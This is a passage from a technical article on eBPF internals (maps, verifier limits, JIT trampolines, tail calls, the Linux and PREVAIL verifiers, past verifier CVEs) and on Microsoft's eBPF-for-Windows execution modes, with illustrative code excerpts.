    K --&amp;gt; S
    K --&amp;gt; P
&lt;p&gt;That hook surface is what makes eBPF the universal Linux instrumentation substrate. Once a developer learns the load-verify-attach lifecycle, the same toolchain instruments a TCP retransmit, a &lt;code&gt;do_sys_open&lt;/code&gt; call, an LSM &lt;code&gt;file_open&lt;/code&gt; check, and an XDP fast-path drop -- all in the same language with the same verifier and the same JIT.&lt;/p&gt;
&lt;h3&gt;Maps: in-kernel state&lt;/h3&gt;
&lt;p&gt;The second piece of architecture eBPF adds over classic BPF is the &lt;em&gt;map&lt;/em&gt; -- a kernel-managed key-value store accessible from inside a verified program and from user space. Maps are how eBPF programs hold state between invocations and how they communicate with user space.&lt;/p&gt;

A kernel-managed data structure that an eBPF program can read and write from inside the kernel, and a user-space process can read and write through the `bpf()` syscall. Common map types include hash, array, LRU hash, per-CPU hash, ring buffer, and program array (used for tail calls). Each map has a maximum capacity declared at creation and a verifier-checked size for keys and values.
&lt;p&gt;The kernel hash-map documentation [@docs-kernel-org-bpf-maphashhtml] distinguishes shared and per-CPU variants. The decision between them is one of the consequential design choices in writing real eBPF code.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Map type&lt;/th&gt;
&lt;th&gt;Cross-CPU semantics&lt;/th&gt;
&lt;th&gt;Update cost&lt;/th&gt;
&lt;th&gt;Memory cost&lt;/th&gt;
&lt;th&gt;Best for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BPF_MAP_TYPE_HASH&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;One value per key, shared across CPUs&lt;/td&gt;
&lt;td&gt;Atomic &lt;code&gt;__sync_fetch_and_add&lt;/code&gt; or &lt;code&gt;BPF_F_LOCK&lt;/code&gt; spinlock&lt;/td&gt;
&lt;td&gt;&lt;code&gt;max_entries * (key_size + value_size)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;State that must be globally consistent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BPF_MAP_TYPE_PERCPU_HASH&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Separate value slot per CPU&lt;/td&gt;
&lt;td&gt;Non-atomic read-modify-write&lt;/td&gt;
&lt;td&gt;&lt;code&gt;max_entries * value_size * num_cpus&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Counters and histograms where rate matters and snapshot consistency does not&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BPF_MAP_TYPE_RINGBUF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Single MPSC ring with global FIFO order&lt;/td&gt;
&lt;td&gt;Reservation-spinlock on producer&lt;/td&gt;
&lt;td&gt;Fixed buffer&lt;/td&gt;
&lt;td&gt;Event streams whose user-space order must match cross-CPU producer order&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The per-CPU variant exists because cache-coherence cost on a contended hash slot dominates the time spent updating it; per-CPU maps remove that contention entirely at the price of cross-CPU consistency. A per-CPU counter on a 96-vCPU host occupies &lt;code&gt;96 * value_size&lt;/code&gt; bytes per key, but updates are local loads and stores. A shared counter on the same host is &lt;code&gt;value_size&lt;/code&gt; bytes per key, but every increment is an atomic.&lt;/p&gt;

A multi-producer single-consumer kernel-to-user transport added in Linux 5.8 and documented at `docs.kernel.org/bpf/ringbuf.html` [@docs-kernel-org-bpf-ringbufhtml]. Unlike the legacy `perf_event_array` (one ring per CPU), the BPF ringbuf is a single ring shared across all CPUs, with cross-CPU producer ordering preserved in the user-visible record stream.
&lt;p&gt;The ringbuf documentation [@docs-kernel-org-bpf-ringbufhtml] is explicit about why the design exists: &lt;em&gt;&quot;more efficient memory use by sharing ring buffer across CPUs; preserving ordering of events that happen sequentially in time, even across multiple CPUs (e.g., fork/exec/exit events for a task).&quot;&lt;/em&gt; A security telemetry consumer that needs to see &lt;code&gt;fork&lt;/code&gt; on CPU 0 before &lt;code&gt;kill&lt;/code&gt; on CPU 1 cannot use a per-CPU ring; it needs a single MPSC ring. The trade-off is real: the producer pays a brief spinlock for slot reservation, where a per-CPU ring would pay nothing. For event streams the trade is worth it; for histograms it is not.&lt;/p&gt;
&lt;h3&gt;The aggregation pattern&lt;/h3&gt;
&lt;p&gt;The reason eBPF is strictly more powerful than ETW is captured in one bpftrace one-liner. The DSL &lt;code&gt;bpftrace&lt;/code&gt; [@github-com-iovisor-bpftrace] -- inspired explicitly by DTrace -- compiles a single-line query into a verified eBPF program:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bpftrace&quot;&gt;kprobe:vfs_read { @[comm] = hist(arg2); }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This program attaches to the &lt;code&gt;vfs_read&lt;/code&gt; kernel function. For every call, it indexes a per-CPU map by the calling process&apos;s name (&lt;code&gt;comm&lt;/code&gt;), buckets the &lt;code&gt;arg2&lt;/code&gt; value (the read length) into a power-of-two histogram, and increments the bucket. Nothing crosses the kernel-user boundary while &lt;code&gt;vfs_read&lt;/code&gt; is firing -- not at 10K calls per second, not at 10M. When the user hits Ctrl-C, bpftrace iterates the per-CPU maps from user space, merges the buckets across CPUs, and prints a histogram.&lt;/p&gt;
&lt;p&gt;ETW cannot do this. To produce the same histogram with ETW, a consumer would have to subscribe to every &lt;code&gt;vfs_read&lt;/code&gt;-equivalent kernel event, receive each one in user mode, compute its bucket, and update an in-process histogram. The kernel-user wire would carry the full firehose. eBPF carries only the final histogram.&lt;/p&gt;
&lt;p&gt;{`
// The bpftrace one-liner:
//   kprobe:vfs_read { @[comm] = hist(arg2); }
// lowers (conceptually) to this kernel-side and user-side flow.&lt;/p&gt;
&lt;p&gt;// --- inside the kernel, at every vfs_read call ---
function on_vfs_read(ctx) {
  const comm = bpf_get_current_comm();
  const len  = ctx.regs.rsi;                  // arg2: read length
  const bucket = log2(len);                   // 0..63&lt;/p&gt;
&lt;p&gt;  // per-CPU hash keyed by (comm, bucket); no cross-CPU atomics.
  const key = { comm, bucket };
  const slot = percpu_map.lookup_or_init(key, 0);
  *slot += 1;
}&lt;/p&gt;
&lt;p&gt;// --- in user space, on Ctrl-C ---
function print_histogram() {
  const merged = {};
  for (const cpu of all_cpus) {
    for (const [key, count] of percpu_map.iter(cpu)) {
      merged[key] = (merged[key] || 0) + count;
    }
  }
  render_power_of_two_histogram(merged);
}
`}&lt;/p&gt;
&lt;p&gt;The kernel-side per-event cost is a few instructions plus a non-atomic increment. The user-space cost is paid once, at print time. The wire between kernel and user carries one batch read of the entire per-CPU map. ETW&apos;s equivalent would carry every single &lt;code&gt;vfs_read&lt;/code&gt; event in full.&lt;/p&gt;
&lt;h3&gt;The instruction-count and complexity limits&lt;/h3&gt;
&lt;p&gt;Two distinct limits constrain what the verifier will accept. The constants are easy to confuse, and earlier drafts of this article confused them. The correct distinction comes straight from the kernel headers.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;BPF_MAXINSNS&lt;/code&gt; is defined as 4096 in &lt;code&gt;include/uapi/linux/bpf_common.h&lt;/code&gt;. This is the maximum number of bytecode instructions per program for unprivileged callers. A program longer than 4096 instructions is rejected at load time regardless of what the verifier finds.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;BPF_COMPLEXITY_LIMIT_INSNS&lt;/code&gt; is defined as 1,000,000 in &lt;code&gt;kernel/bpf/verifier.c&lt;/code&gt;. This is the maximum number of &lt;em&gt;explored states&lt;/em&gt; the verifier will visit during its symbolic execution. It applies to privileged callers with &lt;code&gt;CAP_BPF&lt;/code&gt;, who are allowed to load larger programs but still bound the cost of verifying them.The two limits answer different questions. &lt;code&gt;BPF_MAXINSNS = 4096&lt;/code&gt; bounds the &lt;em&gt;size&lt;/em&gt; of an unprivileged program. &lt;code&gt;BPF_COMPLEXITY_LIMIT_INSNS = 1,000,000&lt;/code&gt; bounds the &lt;em&gt;cost&lt;/em&gt; of verification for privileged programs. Conflating them is a common error: production EDRs run with &lt;code&gt;CAP_BPF&lt;/code&gt; plus &lt;code&gt;CAP_PERFMON&lt;/code&gt; or root and load programs much longer than 4096 instructions, but the verifier&apos;s exploration is still bounded.&lt;/p&gt;
&lt;p&gt;Linux 5.16 (March 2022) [@kernel-org-bpf-indexhtml] made &lt;code&gt;kernel.unprivileged_bpf_disabled=1&lt;/code&gt; the default.The change followed a series of verifier soundness CVEs, including CVE-2020-8835 and CVE-2021-3490, that were exploitable from unprivileged user space. Production EDRs run with &lt;code&gt;CAP_BPF&lt;/code&gt; plus &lt;code&gt;CAP_PERFMON&lt;/code&gt; or full root; the unprivileged path is reserved for sandboxed workloads where the kernel team has weighed the risk.&lt;/p&gt;
&lt;h3&gt;The JIT and the trampoline&lt;/h3&gt;
&lt;p&gt;Brendan Gregg&apos;s &lt;em&gt;BPF Performance Tools&lt;/em&gt; [@brendangregg-com-tools-bookhtml], published by Addison-Wesley in 2019 (ISBN-13 9780136554820 [@pearson-com-p200000007897-9780136554820]), reports a 10x to 12x speedup of the JIT over the interpreter on x86-64. The number is qualitative -- the workload, the kernel version, and the program shape all matter -- but the order of magnitude is consistent across kernel docs and measurements. The JIT is what makes eBPF practically usable inside hot kernel paths.&lt;/p&gt;
&lt;p&gt;A second performance refinement landed in 2019 with the BPF trampoline patch series. Starovoitov&apos;s v1 cover letter [@lore-kernel-org-1-astkernelorg] introduced &lt;code&gt;fentry&lt;/code&gt; and &lt;code&gt;fexit&lt;/code&gt; -- BPF program attach points that use a tiny JIT-emitted dispatcher to call the attached programs directly, rather than relying on kprobe&apos;s &lt;code&gt;int3&lt;/code&gt; trap mechanism. The framing is worth quoting:&lt;/p&gt;

Unlike k[ret]probe there is practically zero overhead to call a set of BPF programs before or after kernel function. -- Alexei Starovoitov, BPF trampoline cover letter [@lore-kernel-org-1-astkernelorg]
&lt;p&gt;The v3 patch in the same series [@lore-kernel-org-4-astkernelorg] explains the structural reason: &lt;em&gt;&quot;To avoid the high cost of retpoline the attached BPF programs are called directly.&quot;&lt;/em&gt; kprobe goes through an indirect-jump dispatch, which on Spectre-mitigated kernels pays a retpoline penalty per call. The BPF trampoline replaces the indirect jump with a direct call patched in at attach time, eliminating that penalty entirely. The qualitative result is &quot;practically zero overhead&quot; relative to the function call itself. The exact numbers vary; the architectural reason does not.&lt;/p&gt;
&lt;h3&gt;Tail calls&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;bpf_tail_call(ctx, &amp;amp;prog_array, index)&lt;/code&gt; is a helper that, when the &lt;code&gt;prog_array&lt;/code&gt; slot at &lt;code&gt;index&lt;/code&gt; contains a loaded program, replaces the current program&apos;s execution context with the target program&apos;s. The architecture is documented in the Cilium BPF architecture reference [@docs-cilium-io-bpf-architecture], which describes the 33-call nesting ceiling: &lt;em&gt;&quot;This, too, comes with an upper nesting limit of 33 calls, and is usually used to decouple parts of the program logic, for example, into stages.&quot;&lt;/em&gt; The 33-call cap bounds the worst-case execution time of a chain that the verifier cannot symbolically follow (the destination is a runtime-resolved map slot, not a static call target). We will return to the security implications of tail calls in section 7.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; eBPF inverts the observability model. ETW asks the kernel &quot;what happened?&quot; eBPF asks the kernel &quot;compute this and tell me the answer.&quot; The asymmetry is the reason a histogram of &lt;code&gt;vfs_read&lt;/code&gt; lengths costs nothing on the wire under eBPF, and costs a fully formatted event per call under ETW.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;eBPF is strictly more powerful than ETW: programmable filter, programmable aggregation, hooks everywhere. But that power has a cost that does not exist in ETW at all. The verifier.&lt;/p&gt;
&lt;h2&gt;5. The Verifier: Where Mathematics Meets the Kernel&lt;/h2&gt;
&lt;p&gt;May 2023. NIST publishes CVE-2023-2163 [@nvd-nist-gov-2023-2163]. The advisory describes the eBPF verifier in every Linux kernel since 5.4 quietly accepting programs it should have rejected: &lt;em&gt;&quot;Incorrect verifier pruning in BPF in Linux Kernel &amp;gt;=5.4 leads to unsafe code paths being incorrectly marked as safe, resulting in arbitrary read/write in kernel memory, lateral privilege escalation, and container escape.&quot;&lt;/em&gt; The fix was a small correction to a state-pruning heuristic. The lesson is bigger than the patch: &lt;em&gt;no in-kernel verifier for a Turing-complete instruction set can be simultaneously sound, complete, and decidable.&lt;/em&gt; That is not a bug. It is a theorem.&lt;/p&gt;
&lt;h3&gt;Rice&apos;s theorem in the kernel&lt;/h3&gt;
&lt;p&gt;Alan Turing proved in 1936 that the halting problem is undecidable: no algorithm can decide, for every possible program, whether that program halts on every input. Henry Gordon Rice extended the result in 1953: any &lt;em&gt;non-trivial semantic property&lt;/em&gt; of a program -- including memory safety, type safety, and bounded resource use -- is undecidable for the general case. The verifier has to decide a non-trivial semantic property: &lt;em&gt;does this eBPF program access kernel memory only through valid pointers, with valid offsets, and terminate?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;It cannot. Not in general. The verifier has to give up at least one of three properties:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Soundness&lt;/em&gt; -- never accept an unsafe program.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Completeness&lt;/em&gt; -- never reject a safe program.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Scalability&lt;/em&gt; -- run in polynomial time on real programs.&lt;/li&gt;
&lt;/ul&gt;

The halting problem is about a single property: termination. Rice&apos;s theorem generalizes the result to all non-trivial extensional properties -- any property that depends on what a program computes rather than how it is written. Memory safety on a Turing-complete instruction set is a non-trivial extensional property: there exist programs that are safe and programs that are unsafe. Rice&apos;s theorem says no decision procedure can correctly classify every program. Any real verifier must therefore be an *approximation* -- either it sometimes rejects safe programs (loss of completeness), sometimes accepts unsafe ones (loss of soundness), or runs out of resources on hard inputs (loss of scalability).
&lt;p&gt;Jia and colleagues at HotOS 2023 [@sigops-org-papers-jiapdf] formalized this trilemma for in-kernel verifiers. The paper&apos;s title is the thesis: &lt;em&gt;&quot;Kernel Extension Verification Is Untenable.&quot;&lt;/em&gt; The authors argue that any verifier for a kernel extension language with the expressiveness of eBPF must trade off at least one of the three properties, and that real verifiers ship by trading all three approximately.&lt;/p&gt;

Kernel Extension Verification Is Untenable. -- Jia et al., HotOS 2023, `sigops.org/s/conferences/hotos/2023/papers/jia.pdf` [@sigops-org-papers-jiapdf]

flowchart TD
    A[Soundness -- never accept -- unsafe programs]
    B[Completeness -- never reject -- safe programs]
    C[Scalability -- polynomial time -- on real programs]
    A --- B
    B --- C
    C --- A
    X[&quot;No verifier can have -- all three on a -- Turing-complete ISA&quot;]
    A -.-&amp;gt; X
    B -.-&amp;gt; X
    C -.-&amp;gt; X
&lt;p&gt;The Linux verifier ships with all three approximately. PREVAIL, the verifier used by eBPF-for-Windows, ships with stronger soundness and weaker completeness. The two designs occupy different points on the triangle, and the difference shows up in production.&lt;/p&gt;
&lt;h3&gt;The Linux verifier&lt;/h3&gt;
&lt;p&gt;The kernel verifier documentation [@docs-kernel-org-bpf-verifierhtml] describes the algorithm:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The safety of the eBPF program is determined in two steps. First step does DAG check to disallow loops and other CFG validation. ... Second step starts from the first insn and descends all possible paths. It simulates execution of every insn and observes the state change of registers and stack.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The state the verifier tracks is a register-state lattice. Each register holds a type from a finite set: &lt;code&gt;PTR_TO_CTX&lt;/code&gt; (a pointer to the program&apos;s context argument), &lt;code&gt;PTR_TO_MAP_VALUE&lt;/code&gt; (a pointer into a map entry), &lt;code&gt;PTR_TO_MAP_VALUE_OR_NULL&lt;/code&gt; (the return type of &lt;code&gt;bpf_map_lookup_elem&lt;/code&gt;, which can be null), &lt;code&gt;SCALAR_VALUE&lt;/code&gt; (an integer with min/max range), and so on. Each register also has a min/max range that tightens at every operation.&lt;/p&gt;

The kernel-side static analyzer that proves termination and memory safety of every eBPF program before load. The Linux verifier is documented at `docs.kernel.org/bpf/verifier.html` [@docs-kernel-org-bpf-verifierhtml]. It uses a register-state lattice plus min/max range tracking and explores all reachable program paths with state pruning to keep the cost manageable.
&lt;p&gt;Consider the canonical pattern: look up a map value, check for null, dereference. Every eBPF tracing program does some version of this.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;struct value *v = bpf_map_lookup_elem(&amp;amp;map, &amp;amp;key);   // r0 := PTR_TO_MAP_VALUE_OR_NULL
if (!v) return 0;                                    // branch on r0 == 0
return v-&amp;gt;field;                                     // deref r0 + offset(field)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The verifier traces both branches. On the taken branch (&lt;code&gt;r0 == 0&lt;/code&gt;), the type stays nullable, and the program returns. On the not-taken branch, the verifier refines the type from &lt;code&gt;PTR_TO_MAP_VALUE_OR_NULL&lt;/code&gt; to &lt;code&gt;PTR_TO_MAP_VALUE&lt;/code&gt; -- the null qualifier is gone, the dereference is bounds-checked against the map&apos;s value size, and the program is accepted.&lt;/p&gt;
&lt;p&gt;This refinement is exactly the thing that broke in CVE-2023-2163. The bug was not in the dereference logic; it was in the &lt;em&gt;state pruning&lt;/em&gt; that keeps the verifier&apos;s exploration tractable. Once the verifier has visited a program point with a given abstract state, it prunes subsequent visits from different predecessors with &quot;the same&quot; state. CVE-2023-2163 was a case where the pruner&apos;s notion of &quot;the same state&quot; was &lt;em&gt;narrower&lt;/em&gt; than the predecessor&apos;s true state. The verifier accepted a program in which a register&apos;s true type at a join point did not match the type the verifier had pruned against. The program ran with hidden type confusion. Kernel arbitrary read/write followed.&lt;/p&gt;
&lt;h3&gt;PREVAIL, the abstract-interpretation verifier&lt;/h3&gt;
&lt;p&gt;PREVAIL [@github-com-ebpf-verifier], published by Gershuni and colleagues at PLDI 2019 [@vbpf-github-io-prevail-paperpdf], takes a structurally different approach. Where Linux&apos;s verifier is a heuristic abstract interpreter with a discrete type lattice, PREVAIL uses &lt;em&gt;numerical abstract interpretation&lt;/em&gt; over the &lt;em&gt;zone domain&lt;/em&gt; plus intervals.&lt;/p&gt;

A general framework for static analysis, introduced by Patrick and Radhia Cousot in 1977. The analyzer computes over an *abstract domain* -- intervals, zones, polyhedra, octagons -- rather than concrete program states. A safe abstract operation must over-approximate every possible concrete behavior. The soundness of the analysis reduces to the soundness of the abstract domain operations, which can be proved once and reused.
&lt;p&gt;In the zone domain, the abstract state can express &lt;em&gt;relational&lt;/em&gt; constraints between registers and memory base addresses -- not just &quot;register &lt;code&gt;r0&lt;/code&gt; is in &lt;code&gt;[base, base + size)&lt;/code&gt;&quot; but &quot;&lt;code&gt;r0 - map_base&lt;/code&gt; is in &lt;code&gt;[0, value_size)&lt;/code&gt;.&quot; That extra expressiveness is what lets PREVAIL prove pointer-arithmetic safety more directly than the Linux verifier&apos;s case enumeration. Walking the same null-check program:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Program point&lt;/th&gt;
&lt;th&gt;Linux verifier (register lattice)&lt;/th&gt;
&lt;th&gt;PREVAIL (zone domain)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;After &lt;code&gt;bpf_map_lookup_elem&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PTR_TO_MAP_VALUE_OR_NULL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;r0 in {0} U [base, base+sz)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Taken branch (r0 == 0)&lt;/td&gt;
&lt;td&gt;refined to NULL&lt;/td&gt;
&lt;td&gt;r0 = 0 (equality)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Not-taken branch&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PTR_TO_MAP_VALUE&lt;/code&gt; (qualifier dropped)&lt;/td&gt;
&lt;td&gt;r0 - base in [0, sz)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;At deref &lt;code&gt;v-&amp;gt;field&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;bounds-checked deref&lt;/td&gt;
&lt;td&gt;r0 - base in [off, off+access)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Both verifiers accept the program. The difference is in the proof strategy. Linux&apos;s verifier reasons case-by-case over a finite lattice; PREVAIL reasons numerically over an abstract domain whose soundness is proved once and reused. The PREVAIL paper (Gershuni et al., PLDI 2019) [@vbpf-github-io-prevail-paperpdf] showed that the zone-domain approach is sound and runs in polynomial time per fixed abstract domain.&lt;/p&gt;

flowchart LR
    A[&quot;r0 := bpf_map_lookup_elem&quot;]
    B{&quot;r0 == 0?&quot;}
    C[&quot;return 0&quot;]
    D[&quot;return r0-&amp;gt;field&quot;]
    A --&amp;gt; B
    B -- yes --&amp;gt; C
    B -- no --&amp;gt; D
    A -. &quot;Linux: PTR_TO_MAP_VALUE_OR_NULL -- PREVAIL: r0 in {0} U [base, base+sz)&quot; .-&amp;gt; A
    C -. &quot;Linux: NULL -- PREVAIL: r0 = 0&quot; .-&amp;gt; C
    D -. &quot;Linux: PTR_TO_MAP_VALUE -- PREVAIL: r0 - base in [0, sz)&quot; .-&amp;gt; D
&lt;p&gt;The trade-off is concrete. PREVAIL accepts a broader class of programs the Linux verifier rejects (some bounded loops, some longer programs), and rejects others the Linux verifier accepts (Linux&apos;s heuristic pruning is more aggressive than zone-domain reasoning in some patterns). The contrast is a &lt;em&gt;trade&lt;/em&gt;, not a strict ordering. Each verifier is sound with respect to its own abstract domain. The Linux verifier&apos;s CVE history is what happens when the domain itself is implemented heuristically rather than from a once-and-for-all soundness proof. The work of Paul Chaignon [@pchaigno-github-io-ebpf-verifierhtml] walks through the architectural differences in more detail.&lt;/p&gt;
&lt;h3&gt;Four CVEs, one pattern&lt;/h3&gt;
&lt;p&gt;The Linux verifier has shipped four widely-disclosed soundness bugs, each one a case where the verifier accepted a program it should have rejected.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Year&lt;/th&gt;
&lt;th&gt;Subsystem at fault&lt;/th&gt;
&lt;th&gt;Class&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;CVE-2020-8835 [@nvd-nist-gov-2020-8835]&lt;/td&gt;
&lt;td&gt;2020&lt;/td&gt;
&lt;td&gt;32-bit register bounds tracking&lt;/td&gt;
&lt;td&gt;Out-of-bounds read/write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2021-3490 [@nvd-nist-gov-2021-3490]&lt;/td&gt;
&lt;td&gt;2021&lt;/td&gt;
&lt;td&gt;ALU32 bitwise-op bounds tracking&lt;/td&gt;
&lt;td&gt;Out-of-bounds R/W, arbitrary RCE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2022-23222 [@nvd-nist-gov-2022-23222]&lt;/td&gt;
&lt;td&gt;2022&lt;/td&gt;
&lt;td&gt;&lt;code&gt;*_OR_NULL&lt;/code&gt; type-state tracking&lt;/td&gt;
&lt;td&gt;Local privilege escalation via type confusion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE-2023-2163 [@nvd-nist-gov-2023-2163]&lt;/td&gt;
&lt;td&gt;2023&lt;/td&gt;
&lt;td&gt;Branch-pruning logic&lt;/td&gt;
&lt;td&gt;Arbitrary kernel R/W&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The CVE-2020-8835 NVD entry describes a flaw where the verifier &lt;em&gt;&quot;did not properly restrict the register bounds for 32-bit operations, leading to out-of-bounds reads and writes in kernel memory.&quot;&lt;/em&gt; CVE-2021-3490, also reported on the NVD, identifies the same class of bug in the bitwise-operation paths. The CVE-2022-23222 record is tracked across the SUSE bug [@bugzilla-suse-com-showbugcgi], Debian DSA-5050 [@debian-org-dsa-5050], and the openwall oss-security disclosure thread [@openwall-com-13-1].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; All four CVEs are the same shape: the verifier&apos;s abstract state at some program point was &lt;em&gt;narrower&lt;/em&gt; than the program&apos;s true reachable state, so the verifier proved a property that did not hold. Each fix tightened the abstract operation that introduced the narrowing -- range-tracking for the 2020 and 2021 bugs, type-state for 2022, branch pruning for 2023. None of the fixes were &quot;fix the runtime&quot;; they were all &quot;fix the static analysis.&quot; That is exactly the shape Rice&apos;s theorem predicts: a heuristic abstract interpreter that occasionally drops information at a join point.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The verifier is a research-grade static analyzer running as kernel code. When it gets the abstract domain wrong, the safety guarantee is a CVE. ETW does not have this failure mode because ETW does not run user-supplied code in the kernel.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ETW has driver signing as its safety mechanism. eBPF has the verifier. Microsoft&apos;s eBPF-for-Windows project asked an interesting question: &lt;em&gt;what if you want both?&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;6. eBPF for Windows: The Convergence&lt;/h2&gt;
&lt;p&gt;On May 10, 2021, Dave Thaler of Microsoft published a blog post announcing a new project. The opening line is the kind of announcement that sounds modest and is not:&lt;/p&gt;

&quot;Today we are excited to announce a new Microsoft open source project to make eBPF work on Windows 10 and Windows Server 2016 and later.&quot; -- Dave Thaler, &quot;Making eBPF work on Windows&quot; [@cloudblogs-microsoft-com-on-windows], Microsoft Open Source Blog, May 2021
&lt;p&gt;The promise was a near-source-compatible eBPF surface on NT, so that programs and toolchains written for Linux eBPF -- libbpf, bpftool, BCC, clang &lt;code&gt;-target bpf&lt;/code&gt; -- would work on Windows with minimal change. The architectural surprise, visible only once you read the design docs, is that the Linux design does not port directly. The Windows trust model is different. The Windows code-integrity story is different. The choices Microsoft made reveal which parts of eBPF &lt;em&gt;are&lt;/em&gt; genuinely portable and which parts are deeply Linux-shaped.&lt;/p&gt;
&lt;h3&gt;Three execution modes&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;microsoft/ebpf-for-windows&lt;/code&gt; README [@github-com-for-windows] decomposes the runtime into three modes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Native eBPF program (preferred, HVCI-compatible).&lt;/em&gt; PREVAIL verifies the bytecode in user mode. On success, the &lt;code&gt;bpf2c&lt;/code&gt; [@github-com-bpf2ctests-expected] tool transliterates each verified BPF instruction to equivalent C, MSVC compiles the C, and the result is a signed &lt;code&gt;.sys&lt;/code&gt; kernel driver. The signed driver is what gets loaded into the kernel.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;JIT compiler.&lt;/em&gt; A user-mode service (&lt;code&gt;eBPFSvc.exe&lt;/code&gt;) calls the uBPF [@github-com-iovisor-ubpf] JIT to produce x64 or ARM64 native code, loaded into the kernel-mode execution context. Disabled on HVCI hosts because dynamic code generation cannot be SiPolicy-signed.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Interpreter.&lt;/em&gt; uBPF&apos;s interpreter, debug-only.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The native mode is the architecturally interesting one. It treats eBPF bytecode as a &lt;em&gt;source language&lt;/em&gt; for a signed-driver compile, not as a target for a kernel-mode JIT. The choice is forced by Windows&apos; kernel-mode security model.&lt;/p&gt;

A Windows feature that uses the hypervisor to enforce that only signed code runs in kernel mode. With HVCI on, the kernel will refuse to execute any page that does not match a Code Integrity policy signature. Dynamic code generation -- the kind a JIT does -- is impossible on an HVCI host unless the JIT itself is privileged to bless the pages it produces.
&lt;h3&gt;bpf2c: the literal transliterator&lt;/h3&gt;
&lt;p&gt;The thing that makes the native pipeline work is &lt;code&gt;bpf2c&lt;/code&gt;. It takes verified eBPF bytecode and emits portable C that any modern compiler can build into a kernel driver. The transliteration is one bytecode instruction per C statement. A concrete excerpt from &lt;code&gt;droppacket_raw.c&lt;/code&gt; [@raw-githubusercontent-com-expected-droppacketrawc], the expected output for the XDP-class &lt;code&gt;droppacket.c&lt;/code&gt; [@github-com-sample-droppacketc] sample, shows the shape:&lt;/p&gt;
&lt;p&gt;{`
// Excerpt from microsoft/ebpf-for-windows
//   tests/bpf2c_tests/expected/droppacket_raw.c
// One verified BPF instruction maps to one C statement.&lt;/p&gt;
&lt;p&gt;#pragma code_seg(push, &quot;xdp&quot;)
static uint64_t
DropPacket(void* context, const program_runtime_context_t* runtime_context)
{
  uint64_t stack[(UBPF_STACK_SIZE + 7) / 8];
  register uint64_t r0 = 0;
  register uint64_t r1 = 0;
  // ... r2 .. r6, r10 declarations ...&lt;/p&gt;
&lt;p&gt;  // EBPF_OP_MOV64_REG pc=0 dst=r6 src=r1 offset=0 imm=0
  r6 = r1;
  // EBPF_OP_MOV64_IMM pc=1 dst=r1 src=r0 offset=0 imm=0
  r1 = IMMEDIATE(0);
  // EBPF_OP_STXDW pc=2 dst=r10 src=r1 offset=-8 imm=0
  WRITE_ONCE_64(r10, (uint64_t)r1, OFFSET(-8));&lt;/p&gt;
&lt;p&gt;  // ... one C statement per verified BPF instruction ...&lt;/p&gt;
&lt;p&gt;  r0 = runtime_context-&amp;gt;helper_data[0].address(r1, r2, r3, r4, r5, context);
}
`}&lt;/p&gt;

